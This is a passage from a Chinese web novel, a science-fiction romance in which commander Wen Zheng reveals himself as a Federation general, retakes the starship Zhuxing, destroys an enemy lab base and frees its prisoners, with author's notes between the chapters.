作为联邦战舰最后一道防线，在整舰系统重启时, 必须要是注册在案的联邦战舰舰长才能控制星舰，而如果暗影组指挥官都不行, 那他们谁都不行！ 难道就这样功亏一篑了？！ 裴简珩却微微皱起了眉，他了解闻铮, 如果没有万无一失的把握，他不会把其他人都穿梭过来增加危险, 可—— 等等。 将官级、联邦战舰舰长…… 裴简珩瞬间明白了闻铮的打算, 他愕然地朝他看去, 忍不住踏前一步：“闻哥！你——” 你是打算—— 闻铮站在舰长台上, 身前是舰长认证悬浮屏, 身后是他赖以信任、共经生死的同伴们，在这一瞬间, 他发现所谓的秘密，好像也没有那么重要。 他转过身看了大家一眼, 先是看向了知道他身份的裴简珩、凯利斯和程迹，又看向了一脸紧张和迷茫的黎晓、赫尔，以及通讯画面上的特娜伦和向星苑。 他们都毫无保留地信任着他，也许确实也到了互相都坦诚相见的时候了。 闻铮下定了某种决心，他转了回去，悬浮屏冷冷的白光将他那张脸映射得更为苍白凌厉。 “联邦第三军团上将，悬空号前任舰长闻铮, 军官动态代码7504WZ1239，申请接管联邦逐星号。” 舰桥上所有人在这一瞬间都如遭雷击！ 黎晓几乎不敢相信自己的耳朵，他甚至下意识地倒退一步：“什、什么……” 闻、闻铮？ 这个暗影组的指挥官，给了他第二次飞入繁星机会的人，竟然就是当年那个闻铮？！ 他不是在做梦吧？ 赫尔也倒抽一口冷气。 谁？ 谁？？ 谁？？？ 开玩笑吧？！ 眼前这个人是闻铮？！那个第三军团之刃，所向披靡的传奇战神闻铮？! 而他——甚至是个腺体残缺的Omega？！ 就连通讯屏幕上的特娜伦和向星苑都瞪大了眼睛。 系统悬浮屏加载三秒后，声音从冰冷变得温和：“认证通过，全舰系统已重置。” “欢迎回来，闻上将。” 闻铮轻轻吐出一口气，挥手关掉了面前的认证屏幕，脚跟一转，坐在转椅上转向了其他人。 “抱歉隐瞒了我的身份，时间紧急，等我们从这里安全离开以后，我会再和大家道歉。” 闻铮沉默了一下，双手搭在了舰长椅的扶手上，眸光锐利。 “请允许我重新自我介绍一下，我是联邦星舰军队第三军团上将，悬空号前任舰长，闻铮。” …… DEHWA-2075的舰桥上，魁斗星盗们一片死寂。 特娜伦更是恍惚，甚至连刚刚闻铮给她们分配的任务，她都感觉自己好像听进去了，又好像在脑子里像水一样流走了。 唯一记忆鲜明的，就是这个瘦削锋利的人类坐在舰长席上，轻描淡写地说——他就是那个传闻中力挽狂澜的联邦战神闻铮！ 她突然觉得自己有点头晕，扶了一把身边的向星苑，有些虚弱地问：“……小苑，你知道他是闻铮吗？” 向星苑也很懵，她摇头：“我不知道……” “不是说联邦的第三军团之刃已经退役了吗？”特娜伦在震惊过后又开始疑惑，“销声匿迹得干干净净，还以为是和联邦军部划清了界限，怎么刚刚听下来……也不是这么回事啊？” 军官代码没有取消，头衔中上将的前缀甚至没有退役二字，更别说还有接管联邦战舰的权限，连人工智能中控系统都要说一句：欢迎回来，闻上将。 这到底哪里像是和联邦军部撕破脸了啊？！ 不会是做戏给德瓦帝国看的……吧？ 这个想法的滋生宛如一盆冷水兜头浇了下来，让特娜伦瞬间从震撼和难以置信中回了神。 她感觉自己似乎触摸到了盘根错节的网中最边缘的角落，这让她不敢再细想下去。 她的副手凑了过来，低声问：“首领，我们现在有这艘德瓦战舰了，还要听这个人类的话吗？” 特娜伦抬眼瞥他，冷笑一声：“你聋了吗？刚刚闻铮的自我介绍是没通知到你吗？” “我可不想惹毛第三军团之刃，你想吗？” …… “黎晓，检查轮机室动力能源运行情况，”闻铮分配任务，“确保空间迁跃模式能达到最高层级，一旦脱离UNK-322的引力范围，我们需要立刻进入空间迁跃模式离开。” 他的命令却没有得到应答。 闻铮看向了黎晓，这个清秀的Omega正站在那里，还是一脸震惊地看向他，似乎还没有从这个消息中缓过来。 闻铮有些无奈，加重了语气：“黎晓！” 凯利斯用胳膊肘捣了黎晓一杵子，他这才猛地清醒过来：“啊？什么？” 闻铮重复了一遍，眸光深邃：“其他的你先不要多想，我们的当务之急是先从UNK-322离开，能做到吗？” “啊、当、当然！” 黎晓咽了咽唾沫，点点头，转身朝轮机室跑去。 闻铮又看向了程迹，还没等他开口，程迹便了然地对他颔首：“我去看能不能帮上忙。” 黎晓就算再怎么天才，也是一个从没碰过联邦战舰轮机室的学员，有个科学家在旁边看着点，黎晓的压力也会小一些，闻铮也更放心。 “赫尔，”闻铮转向艾尔文医疗官，“麻烦你去检查医疗舱的药物储备，再去看看艾尼默人和人类幸存者有没有需要紧急医疗的人，做好应急准备，一旦我们交火，如果特娜伦那边拦截不住，有可能产生伤亡。” 赫尔看向他的目光就复杂了很多。 在闻铮揭露真实身份的一瞬间，他就明白了一切。 为什么这个人类要死死地捂住自己Omega的秘密，为什么他会挖掉自己的腺体，为什么他宁可冒着死亡的风险也不愿意找一个Alpha。 他曾经是这个联邦唯一的希望，而这个希望承载了太多的责任和义务，禁不起一点跌落神坛的风险。 而作为裴简珩的好友，他也明白了，为什么裴简珩会如此深爱他。 多年来的崇拜信仰、生死一线的绝望救赎、重塑命运的人生锚点……当这些意象都汇聚在闻铮一人身上的时候，怎么能不让裴简珩刻骨铭心。 赫尔垂眼，对他笑了笑：“好。” “凯利斯，检查武器系统和防护系统。”闻铮转向了他的第一大副，他知道自己突然自爆身份让凯利斯也有些无措，但他确实也没有别的办法了，“到了这个地步，硬闯也要闯出去。” 凯利斯对他颔首，终于能说出那句已经很久没说过的：“是，舰长！” 舰长这两个字一出来，闻铮竟也顿觉恍若隔世。 他抿紧了唇，转身面对了裴简珩。 他们隔着一小段距离，遥遥地对视着。 果不其然，裴简珩的眼底丝毫没有对闻铮真实身份的震惊。 ……他早就知道了，早在很早很早以前，早在闻铮失去又重新找回的记忆里。 裴简珩对他弯起了眼睛，湛蓝色的眼底满是爱意和崇敬。 他走到舵手席坐了下去，双手熟练地接管了这艘星舰的驾驶权，轻声道：“起飞准备已完成，请下达命令，舰长。” 闻铮唇角微微上扬，他知道他们之间还有很多的话需要说明白，但不是现在。 他把这些情感都抛诸脑后，打开了全舰广播，沉声道：“全舰注意，这里是第三军团上将闻铮，现在暂时接管逐星号最高指挥权。请全舰人员做好准备，我们将在十五秒后起飞。” “——离开这里，回到联邦。” …… 德瓦实验基地失去了所有动力，简直乱成了一锅粥。 一把手克劳和二把手哈维全都不知所踪，几个护卫队的小队长咬咬牙，留在这里什么都不做也是死，还不如拼一把。 他们把德瓦基地的几艘战舰调了出来，又打开了基地的地对空鱼雷武器。 武器还没有完全准备好，整个基地就泛起一阵剧烈的震动，一艘巨型战舰挣脱了所有束缚，腾空而起！ 几艘德瓦战舰和追击舰也都纷纷追了上去，向逐星号发射鱼雷和激光炮！ 地面指挥部的小队长急得就差亲自上手了，终于，地对空光子鱼雷充能完毕，这是这个实验基地火力最高的武器！ 果然，在吃了一发地对空光子鱼雷后，逐星号的防护罩立刻就下降了20%！ 凯利斯皱紧眉头：“防护罩在持续下降，不能再吃他们的地对空光子鱼雷了！” 闻铮扫过了武器面板：“我们的武器准备好了吗？” 凯利斯在操作板上操作了几次，脸色越来越凝重：“闻哥，逐星号的武器舱有80%都被锁定了无法使用，我们只剩下几发相位炮和六发光子鱼雷。” 锁定了？ 闻铮脸色一沉，扬声问道：“中控系统，武器舱为什么会被锁定？” 联邦智能中控系统回答：“抱歉舰长，我不是很清楚。” 现在也没时间追根究底，闻铮通过主屏幕看着逐渐变小的地面，先问了舵手：“我们还要多久冲破大气层？” “六分钟三十二秒。”裴简珩在尽力操纵星舰躲避从天上和地上来的四面八方的武器攻击，只是逐星号太大了，实在是很难完全躲开。 “他们又用地对空光子鱼雷锁定我们了，”凯利斯播报面板扫描到的数据，“四十秒后会再次发射！” “再撑一次！”闻铮命令，“全体舰上人员注意，打开安全措施，准备四十秒后到来的颠簸和强力冲击！” 舰桥的所有人都按开了椅背上的安全措施，屏息以待。 “滴滴滴——” 武器监控屏幕上显示光子鱼雷还有五秒到达，逐星号咬牙用防护罩硬是又吃下了这一击！ 凯利斯艰难播报：“防护罩还剩60%，敌方的下一枚光子鱼雷还在充能中。” 闻铮在心里默念，快点快点快点———— 作者有话说：感谢宁雪skuara、珍白雪w、34402499和71654057的营养液！ 掉落激光炮图鉴x1！ —— 掉马了！！好爽！！！！ 小裴的掉马也在不远的前方了！！！ 第120章 我们回家 凯利斯脸色不太好看：“他们的第三枚地对空光子鱼雷已经对准我们了。” “还有三分钟。”裴简珩报时, 他的声音也很紧绷。 “德瓦基地的第三枚地对空光子鱼雷已发出，”凯利斯道，“十秒后到达。” 闻铮双手死死握住了扶手, 快点快点—— “砰——！” 整个逐星号都收到了剧烈的震动, 要不是座椅上的安全束缚带，舰桥上这三个人现在估计都要被甩飞出去。 闻铮眯眼：“损害报告！” “防护罩剩余……60%？”凯利斯的声音带了几分犹疑, “闻哥，刚刚我们没有被那枚光子鱼雷打到。” 闻铮一怔：“那怎么会有这么大冲击？” 凯利斯把逐星号四周360度的画面调出来, 瞬间松了口气：“闻哥，是魁斗星盗！” 特娜伦和向星苑遵守了承诺, 她们率领着魁斗星盗们开着DEHWA-2075赶来，在第三枚地对空光子鱼雷打在逐星号的防护罩之前, 发射了另一枚德瓦战舰上的相位炮, 在半空中将其拦截了！ 而逐星号感受到的颠簸则是两种光子武器互相爆炸引起的冲击余韵。 闻铮松了一口气, 死死握着扶手的手也缓缓松开。 这是他以防万一的保底方案, 就怕逐星号出了什么意想不到的问题, 没想到还真派上用场了。 魁斗星盗们的钢铁之心已经没了，那些逃生舱的剩余动力也不足以支撑他们回魁斗主星, 留在这里也是风险极大，还不如赌一把。 闻铮愿意把这艘德瓦战舰“借”给特娜伦和她手底下的星盗们, 让他们可以开着这艘船回魁斗星，但有一个交换条件。 那就是他们要掩护逐星号，两艘船一起安全地离开UNK-322星。 特娜伦听到的时候，十分难以置信：“你是不是也太相信我了？魁斗星盗的名声你没听过吗？” 还没等闻铮回答，她就狐疑地上下打量着这个一看就一肚子坏水的人类：“……你要什么东西作为回报？” 闻铮微笑，小梨涡若隐若现：“你们开着德瓦战舰离开，大张旗鼓地回到星盗群星, 就是我要的回报了。” 顿了半分钟，特娜伦恍然大悟。 魁斗星盗女首领双手环胸，看向闻铮的眼底满是欣赏：“你果然是个……很了不得的人。” 有人大闹了德瓦实验基地，杀了基地的一把手和二把手，毁了实验舱，抢走了德瓦科学家，开走了联邦逐星号，救走了人类和艾尼默幸存者，但谁又知道是联邦干的呢？ 见过他们的人都死了，实验基地的电子眼录像也随着中控的断绝而销毁，没人知道这里发生了什么，又是谁做的这一切。 真要说起来，混乱之后一艘德瓦战舰开去了魁斗星盗的地盘，你们两个种族的人掐去吧，反正和联邦没关系。 “你这口锅可是好大一个，”特娜伦道，“我亏了啊。” 这要是德瓦军部的人打过来了，一口黑锅可是结结实实的。 闻铮笑得很漂亮：“你以为我的东西是那么好拿的？” 特娜伦无言。 虽然话是这么说，但如果特娜伦就是开着这艘战舰直接走了，闻铮这个时候倒是也拿她没有办法。 就只能赌上他们之间刚建立起的信任，以及第三军团之刃这个名号对魁斗星盗的震慑了。 总之，不管是出于信任还是震慑，还是两者皆有，特娜伦还是开着那艘德瓦战舰出现在这里为逐星号吸引火力。 闻铮缓缓坐直了身体：“简珩，还要多久？” “八十五秒。”裴简珩沉声道，对战过于激烈，他已经放弃了自动驾驶，正在全神贯注地手动操作，而他过高的精神力和身体机能，让他的手动驾驶表现比之自动还要更加突出。 “舰长呼叫轮机室，”闻铮按响了通讯，“八十五秒后脱离引力范围，做好空间迁跃准备，一旦进入太空，立刻开启空间迁跃模式。” “轮机室收到！”黎晓的声音有些紧，很明显是有些紧张。 闻铮看向已经渺小到根本肉眼无法识别的德瓦实验基地，又把目光落在了裴简珩的背影上。 这里，是他的Alpha一切苦痛的开始。 闻铮接通了和特娜伦的通讯：“你们能把德瓦基地的地对空武器舱歼灭吗？” “在你说这句话的前三秒，我已经把它毁了。”特娜伦的声音带了些许倨傲和疯狂，显然她很享受这种毁灭的快|感。 “多谢。” 闻铮谢过她，沉默了十秒，方才道：“简珩，瞄准德瓦实验基地，发射四枚光子鱼雷和三发相位炮阵列。” 这句命令一出，凯利斯和裴简珩都愣住了。 发射武器和攻击，是属于战术官的本职工作，虽然舵手的面板也可以操作，但那是以防武器面板损伤才设置的辅助操作。 但闻铮，他绝不可能在舰桥成员的职责上犯迷糊，他给出这样的命令，一定有他的道理。 ——确实，闻铮有他的道理。 闻铮临时关闭了全舰广播，只在舰桥上轻声道：“简珩，把它毁了。” 裴简珩沉默了半晌，他缓缓坐在椅子上转过身来，正好让闻铮可以直直地看向他的灵魂深处。 ——你的人生曾经在这里转弯，迎来了无限的苦痛和伤痕，即使肉|体已经离开了这里，但身上的伤疤，午夜的噩梦，都昭示着你曾经被困在这里，就永远被困在了这里。 而现在，选择权交到了仅剩的幸存者手中，一切都将就此结束。 裴简珩卡注视着闻铮那双黑不见底的眼睛，明白他的爱人正在为他寻找一个解脱。 他转过身去，操作了舵手仪表盘上的武器系统界面，智能中控的声音响起：“武器已锁定目标，请在三秒内确认操作。” “三……” 裴简珩按下了确认按钮。 逐星号舰桥的主屏幕上正放大显示德瓦基地的画面，十秒后光子鱼雷和相位炮前仆后继地砸了过去！ 德瓦基地的防护罩已经被裴简珩和黎晓转移到了谢运霖的系统上关闭，整个基地的所有建筑在光子武器面前脆弱得不堪一击。 只是瞬间，UNK-322的北区已经被夷为平地！ 裴简珩沉默地注视着主屏幕上的硝烟和废墟，半晌无言。 凯利斯虽然不清楚具体发生了什么，但他也猜得到裴简珩必定和这个基地有什么渊源，否则闻铮也不会让他亲手来终结这一切。 他伸手搭上了裴简珩的肩膀，拍了拍以示安慰。 裴简珩敛下眼睫，关掉了德瓦基地的废墟画面，轻声道：“五秒后脱离UNK-322引力范围。” “五、四……” “一！” 随着裴简珩最后一声倒数，他们眼前的景象已经从万里的荒漠变成了深邃的深空！ 所有人都呼出了一口气。 …… “全舰注意，逐星号已离开UNK-322。” 闻铮有些沙哑的嗓音回荡在整个逐星号上，当然也包括禁闭室。 禁闭室内是人类和艾尼默幸存者，他们在听到这句话后，简直不敢相信自己的耳朵！ 真的离开了吗？ 永远地离开那个地方了吗？？ 十几个人类Alpha或站或坐在禁闭室的左侧，喜极而泣。 他们眼看着同类一个一个被用作惨无人道的实验品，又被当做垃圾一样销毁！他们求生不得，甚至连死也只有实验失败被毁灭这一条路，他们怎么能不在日复一日的绝望中变得痛苦而麻木？ 而现在，就好像是祈祷终于被神听到了，一切发生得如此之快，上一秒他们被通知已经送给了那个残忍冷血的德瓦元帅奥克斯·奴瓦辛戈，所有人都做好了被虐杀致死的准备，下一秒却被转移到了联邦的星舰上！ 他们在禁闭室里，看不到外面的实况，所有信息的来源都只靠全舰广播。 “……这里是第三军团上将闻铮，现在暂时接管逐星号最高指挥权。请全舰人员做好准备，我们将在十五秒后起飞。” “……离开这里，回到联邦。” 闻铮！ ……闻铮？！ ……第三军团之刃！！ 一个红头发的A级Alpha眼睛一亮！ 而在狂喜袭来之余，她的目光不经意地瞥到了禁闭室右侧的艾尼默幸存者们。 有几个看上去年纪很小的艾尼默女孩衣不蔽体，躲在其他艾尼默人怀里瑟瑟发抖，显然不知道逐星号到底和德瓦战舰有什么不同，也并不清楚“闻铮”这个名字代表了什么。 她把自己的外衣脱了下来，慢慢朝右侧走了过去。 在艾尼默人惊惧的眼神里，她动作轻柔地把其中一个艾尼默女孩裹在了自己的外衣里。 “没事的，联邦来救我们了。” 这些艾尼默人曾经是奴隶，只会艾尼默语和零星的德瓦语，而这些人类现在也没有通用翻译器，他们之间现在互相语言都不通。 但看着她友好的表现，这种态度不需要语言也能理解，艾尼默人也慢慢卸下了防备。 这时，全舰广播再次响起。 “轮机室，目的地坐标设定为联邦洛河星系7号星，五分钟后进入空间迁跃模式。” 他们听见了那个给人带来希望的声音：“我们回家。”—— 作者有话说：小剧场： 幸存者们：是第三军团之刃！我们有救了！ —— 感谢34402499、珍白雪w、Coco、睡不醒醒和皮圆宝的营养液！ 掉落翻译器x1！《 》 120-130 第121章 简珩…… 逐星号飞到了无边无际的太空中, 而德瓦实验基地已经毁于一旦。 闻铮几不可见地呼出一口气。 “大副，舵手。” 听到舰长的轻唤，凯利斯和裴简珩都纷纷转过身来, 等待最高指挥者的下一个命令。 闻铮却对他们莞尔一笑, 颊边的小梨涡绽开的完完整整：“做得好。” 凯利斯也笑了，不管跟了闻铮多少年, 每次只要闻铮给出对他的肯定和夸赞，他还是会像打了十瓶兴奋剂一样满足。 裴简珩也深深地看着闻铮, 他还没从刚刚摧毁了德瓦实验基地中完全地回过神来，在肾上腺素褪去以后, 那种不真实感才慢慢地席卷上来。 他真的，亲手做了一个了结吗？ 闻铮知道裴简珩需要时间消化这一切, 他转向了凯利斯：“凯利斯, 帮我呼叫特娜伦。” 凯利斯得令, 三十秒后, 特娜伦和向星苑的脸都出现在了主屏幕上。 “看来我们的合作很顺利, ”闻铮笑，“多谢你们。” 特娜伦双手环胸：“也谢谢你的船, 现在它是我的了。” “借给你们的，”闻铮修正, “要还给我的，毕竟这不是我抢来的船。” 船是德瓦人的，抢是程迹抢来的。 特娜伦差点被他气笑：“你倒是会做顺水人情。” 闻铮无辜地回看她。 两个人都同时笑出声，某种惺惺相惜的东西正在由此滋生。 轻柔的声音响起。 “闻指挥官……不，闻舰长、闻上将，”向星苑犹豫，这几个称呼在她嘴里打架, “我不知道该如何称呼您。” “你可以还和以前一样叫我闻，”闻铮看向这个小女孩，眉眼柔和下去，“就和戈维一样。” 向星苑抿唇笑：“……闻哥。” 闻铮隔着屏幕看着她那张清秀的脸，比起在7号星的时候，这个小女孩在短短几个月的时间里被迫成长，褪去了脸上的婴儿肥，逐渐变得坚毅锋利起来，甚至眉眼间还有一些特娜伦的影子。 “小苑，”闻铮还是把自己的想法说了出来，“如果你愿意的话，我想推荐你去联邦星舰军校上学。名额和费用都由我来出，你不要担心。” 所有人都震惊地看向他，不管是凯利斯、裴简珩，还是特娜伦。 “我、我吗？” 向星苑瞪大了眼睛，不可置信地反手指向了自己。 “你来做决定，我只是一个提议。”闻铮笑笑，“戈维曾经和我说过，他下辈子很想做舰长，我不知道你是否有和他一样的梦想，如果是的话，我真的很希望能看到这一幕。” 向星苑下意识地退后一步，难以置信，此刻恍若身在梦中！ 她怎么都没有想到，她这样底层的、连高中都没毕业的艾尼默人，竟然有了能去首都星联邦星舰军校就读的机会！ 那确实是她和戈维共同的梦想，只是那个梦想太过遥远，只能让两个小朋友在寂寥的深夜当做一个念想撑下去。 而现在，那个遥不可及的梦想，却近在咫尺。 她颤抖着看向德瓦战舰舰桥上的星盗们，目光最后缓缓落在了特娜伦身上。 特娜伦是星盗的首领，是整个魁斗星盗群中最凶悍的人，整个魁斗星盗对她俯首称臣，不管是联邦还是德瓦帝国的商业星舰都要绕着特娜伦走，而她却唯独把自己留了下来，对她倾其所有的好，告诉她宇宙间的规则，教她怎么打架，怎么生存。 向星苑知道她对自己是对失去女儿的某种投射，但她不在乎，因为她也在特娜伦身上得到了从陆辰林和戈维离去后，她再也体会不到的亲情。 特娜伦伸手摸上了她的头发：“想去就去吧。” 星盗首领转向闻铮，似笑非笑：“你们联邦就是要把我所有女儿都抢走对吧——” “不。” 向星苑的回答出乎所有人的意料。 不只是闻铮，连特娜伦都是一怔。 “谢谢你，闻哥，愿意给我这个机会。”向星苑深吸一口气，鼓足勇气，“我承认这是戈维的梦想，也是我的梦想。去星舰军校、登上星舰，在未来有可能当上联邦星际舰队的舰长……对我的吸引力确实太大了。” “但是，我在这里找到了更珍贵的东西。” 向星苑摸到了特娜伦的手，把自己小小的手塞进了她的掌心里，微笑地看着她，又微笑地看向舰桥上所有对她很好的星盗们。 “我在这里找到了新的家人，”向星苑的眼睛湿润起来，“我不愿意离开他们。” 舰桥上其他星盗移开了眼睛，以掩饰他们也湿了的眼眶。 特娜伦感受着手里传来的小小热源，险些落下泪来。 也许其他人会觉得向星苑不知好歹，星舰军校从来没招收过艾尼默人，他们这个种族甚至只在联邦的边缘洛河星系生存，连主星系都没有去过！如今这种亿万分之一概率的机会递到了她的手里，她却因为一帮流浪的星盗拒绝了。 但闻铮明白。 对于他和向星苑这样的人来说，亲情和家人，是比一切一切，都还重要的事情。 他们的家人已经都逝去了，在这茫茫宇宙间，早已是孑然一身。 而在无边的孤独和茫然之中，突然出现了这么一个人，全心全意地为自己而来，给了他们所能给予的全部的爱和包容，甚至愿意为了他们牺牲自己的人生、自己的生命、自己的全部。 特娜伦对向星苑是这样，裴简珩对自己又何尝不是？ 闻铮轻轻点头：“我明白了。” 他没有强求，只是说：“不管任何时候，只要你改变主意，都可以随时来找我，我的提议永久有效。” 向星苑真诚地对他道谢。 特娜伦对闻铮的表情也柔和了下来，在互相利用、互相猜疑、互相提防和微薄的信任之外，终于也对这个人类上将有了真正的感激。 “回去吧。”闻铮道，“ 我们也要回联邦了。” 特娜伦对他点点头，攥紧向星苑的手，关闭了通讯。 只是在她们下线的前一秒，还是听见了闻铮的最后一句：“船记得还我！” 特娜伦：“……” 向星苑：“……哈哈哈哈！” 这个小女孩，在经历这一切之后，终于又畅快地笑了起来。 逐星号上，闻铮切断特娜伦的通讯，给轮机室下达了进入空间迁跃的命令。 一分钟后，逐星号顺利地进入了空间迁跃。 “凯利斯，你来负责舰桥，有情况立刻联系我。” “简珩，设定自动驾驶。”闻铮从舰长椅上站起来，“你跟我来。” 临时舰长凯利斯坐到舰长椅上，转身看向闻铮和裴简珩的背影，心里嘀咕。 闻哥又是啥时候开始叫他简珩了啊？ …… 闻铮和裴简珩一前一后地走在逐星号的走廊上，走廊尽头是升降梯，他们踏进去，闻铮按了禁闭室所在的1号甲板楼层，升降梯的门关上了。 他侧过身看向裴简珩，两个人的目光在半空中交缠，裴简珩猛地踏前一步，一把把他死死地抱住。 闻铮把脸埋在他的颈窝，低声叹息：“简珩……” 裴简珩把他抱得更紧，紧到闻铮甚至感到了一丝窒息。 他双手环抱住他的Alpha，轻柔地拍了拍他的后背：“没事了。” 裴简珩松开他，转而又捧起了他的脸，湛蓝色的眼睛深深地看进去：“闻哥……” 闻铮双手环住他的脖颈，微微踮脚将自己的唇贴了过去。 唇齿相贴的一瞬间，两个人都发出了轻微的喟叹声。 又一次生死相随，又一次死里逃生。 在这种凶险的经历过后，他们才会更加明显地意识到，像这样的相拥有多么来之不易。 裴简珩把他抵在升降梯的墙面上用力地亲吻，用自己高大的身型把他完全笼罩。他吻得太凶太猛，几乎让闻铮喘不过来气，让这个一贯掌控全场的Omega上将，在此刻也只能喘|息着呜｜咽，试图推开他以获取一丝氧气。 而基因战士完全忽略了怀里的Omega若有似无的推拒，他知道这种程度他的爱人完全能承受。 直到两个人亲得马上要擦枪走火，这才狠下心来分开。 裴简珩一边平复着呼吸，一边凝视着脸色潮红眼底湿润的闻铮，爱怜地伸出手，轻柔地替他擦去唇边残余的涎｜液。 闻铮恨恨地一口咬住他的手指，在齿间碾磨，含糊不清地威胁：“等着，我之后再和你算账。” 那些隐瞒、那些记忆的缺失、那些只有裴简珩一个人记得的过往……他就这样背负着这么多的东西，一步一步地又重新走回到他身边来。 还没等裴简珩说什么，升降梯的门突然开了。 两个人立刻下意识地弹射分开，门外赫尔的声音幽幽响起：“我打扰到你们了吗？” 他的声音越来越小：“……我确实是打扰到你们了吧。” 苍天呐！ 这画面是他能看的吗！ 裴简珩望天，闻铮瘦削的脸上泛起薄红，怒：“你不在禁闭室，在这里瞎晃悠什么！” 赫尔举起双手投降：“冤枉啊，这是医疗舱！我来拿检查设备啊！” 闻铮看向了升降梯的显示面板，上面的确显示是医疗舱楼层。 闻上将：“……”—— 作者有话说：小剧场： 赫尔：请苍天！辨忠奸！ —— 感谢珍白雪w、34402499、Coco的营养液！ 掉落赫尔医生的医疗检查设备x1！ 第122章 是，长官 眼见闻上将的脸越来越红, 艾尔文医疗官立马见好就收，朝后迈了一步踏出了升降梯：“你们先走，你们继续, 我等下一班。” 说完他在外面狂按升降梯的关门键。 门刚关上, 立马又被打开了。 闻铮脸色愠怒：“滚进来！” 艾尔文医疗官立马麻溜地滚了进去。 一米八六的闻舰长，一米九五的裴舵手, 两个人占据了升降梯的后排，赫尔只能苦哈哈地站在了他们两个前方中间地方。 升降梯又降了一层, 赫尔摸了摸鼻尖：“呃，你们知道升降梯是可以设置中途不被截停的吧？” “下一次你们再……那什么的时候, 记得按一下——” 闻铮：“闭嘴。” 赫尔：“好的。” 在首席医疗官晕倒之前，升降梯终于到达了1号甲板。 门打开的一瞬间, 赫尔这才敢呼吸, 他刚转身要和闻铮说话, 就看见闻铮带着裴简珩朝和禁闭室相反的方向走去, 不由得愣了一下：“你们去哪儿？” 闻铮指了指自己和裴简珩身上的衣服：“这边是物资舱, 有物质复制再生机器，我们终于可以把这套德瓦帝国的皮扒下来了。” 赫尔这才恍然, 他说怎么刚才看见他们的时候总觉得有哪里怪怪的，他们为了伪装成奥克斯.奴瓦辛戈一行人, 除了外貌和基因临时改变以外，也套上了德瓦战舰里剩下的那几件德瓦军服。 “……那我在这里等你们好了。”赫尔立刻刹停脚步，他可不想再跟过去了，谁知道这次又会看到什么。 闻铮和裴简珩消失在了物资舱门口，艾尔文医疗官靠在了走廊上，唇角带笑。 吐槽归吐槽，这两个人居然真能走到一起, 各自得偿所愿，他也是真心地为他们高兴。 …… 物资舱内 闻铮把身上那套令他厌恶至极的红色德瓦军服脱了下来，眼都不眨地丢进了销毁口进行量子毁灭。 裴简珩也做了同样的动作，只是他们都脱了外装才发现，逐星号被德瓦人扣押的太久了，那些原本存放的联邦军服都已经没有了。 闻铮把扎成一束的黑色长发散开，发尾凌乱地搭在他紧身的背心和白皙的肤色上，形成了强烈的视觉冲击。 裴简珩本来转过身要和闻铮说什么，却在看到他俯下身操作物质再生机的时候完全忘记了本来要干什么。 闻哥……又瘦了。 他伸手揽过了闻铮的腰，入手可及简直比之前还要瘦，显然这一路的奔波和殚精竭虑实在是让闻铮吃了不少苦。 闻铮轻轻打了一下他环在自己腰上的胳膊，示意他不要再闹。 裴简珩从背后环住他，喃喃：“我不要再和您分开了，闻哥。” 闻铮的动作顿了一下。 如今这个动荡的时代，身处漩涡中心的他们，谁又能信誓旦旦地给出万无一失的承诺呢？ 但当裴简珩的体温靠过来的时候，闻铮还是听见自己说：“好。” 好。 就当是骗骗命运。 他们换上了联邦的军装，闻铮把黑色的军装最上面一颗纽扣扣好。物质再生机也已经被联邦系统接管，只要闻铮输入自己的军官代码，它就能生成和他的军衔一致的军装、徽章和肩穗。 时隔三年多，闻铮终于又把属于第三军团之刃的军装穿了回去。 他对着镜子，把自己三年来一直低低扎着的长发梳成了高高的马尾，显得那张脸越发的凌厉尖锐。 闻铮转身，看向换上了中校军装的裴简珩，揶揄地笑了一下：“所以你还是不打算跟我讲一讲你少将的身份是什么，对吗？” 裴简珩苦笑：“闻哥，我——” 闻铮伸手把他的徽章别到他胸前：“你倒是蛮厉害，都到这个地步了，我却连你真实的身份都不知道。” 裴简珩被这句轻描淡写的指控吓到差点口齿不清，连忙攥住闻铮的手：“我会告诉您的，我发誓——” 闻铮轻轻拍拍他，把自己的手抽了出来：“看上去我们要聊的事、要算的账都不少啊。” 他脚跟一转，联邦军装的战靴靴跟在地上打出清脆的声音：“走吧，裴中校。” 裴简珩看着他，恍惚间又看到了多年前他仰望过去的惊鸿一瞥。 他弯起了那双湛蓝色的眼睛：“是，长官。” …… 星舰在平稳地飞行了。 禁闭室里，红发Alpha松了口气。 刚刚那一串颠簸和震荡，刚开始实在是令他们惊慌不已。 但就算死在这里，死在这艘星舰上，也总比被德瓦帝国用作试验品反过来对付联邦要好！ 在产生了这种想法之后，他们就不再恐慌。 她低声安抚着艾尼默女孩，自她做出这样的举动之后，还有五六个Alpha也站了出来，对艾尼默人释放出了自己的友善。 虽然他们依然无法用语言沟通，但连比带划多少也能起点用。 这时，禁闭室的门打开了。 所有人都闻声看去。 红发Alpha的目光落在了最前面的黑发Alpha身上，他穿着联邦上将的军服，长发高高束起，整个人瘦削锋利，宛如一柄出了鞘的冷兵器，正散发着凛凛寒意。 这一定就是……第三军团之刃了。 她努力地克制住自己的心情，只是目光紧紧地跟随着闻铮，而就在他一个错身的功夫，她看到了他背后的裴简珩，下一秒，她瞳孔紧缩！ 闻铮在他们面前站定，第一句话是让联邦智能中控打开全舰通用语翻译器，第二句话是道歉。 “抱歉情急之下把你们关在这里，”闻铮道，“刚刚我们在和德瓦实验基地交火，你们散落在星舰其他地方可能会有风险，我们现在没有足够的船员可以帮助大家。” 随后他又重新自我介绍了一下，让艾尼默人这次也能听懂。 虽然这些在德瓦帝国境内的艾尼默奴隶对于闻铮是谁并没有体感，但并不妨碍他们知道，自己已经被解救了。 闻铮对他们微笑：“我会上报联邦军部为你们申请政|治避难的联邦公民身份，洛河星系7号星是艾尼默人的原生星球，你们可以先在那里安定下来。” 赫尔在他身后，闻言微微皱眉，小声问裴简珩：“我以为闻上将已经和星舰军部闹翻了，怎么现在听起来他的权力一点都没少？” 裴简珩也摇头，这点他也很疑惑。 闻铮突然宣布退役的时候，裴简珩正在水云星系执行机密任务，等他任务结束后才得知闻铮以如此决绝的方式和星舰军部划清关系，他立刻赶回了首都星，闯进了他父亲的办公室。 不管他怎么问，甚至哀求，他父亲就是不肯告知他闻铮离开的原委，也断然拒绝给他透露闻铮的下落。 所以他一度认为，闻铮和星际舰队必然是有了什么无法退让的龃龉，才会导致他宁可把所有的荣誉和权力都毫不留恋地舍弃，也要毅然决然地离开。 但自从回到闻铮身边以来，他却又隐隐觉得不对…… 果不其然，在这次的变故中，为了夺回逐星号，闻铮不得不亮出自己上将和舰长的身份，而逐星号的智能中控系统也十分顺利地认可了他的身份。 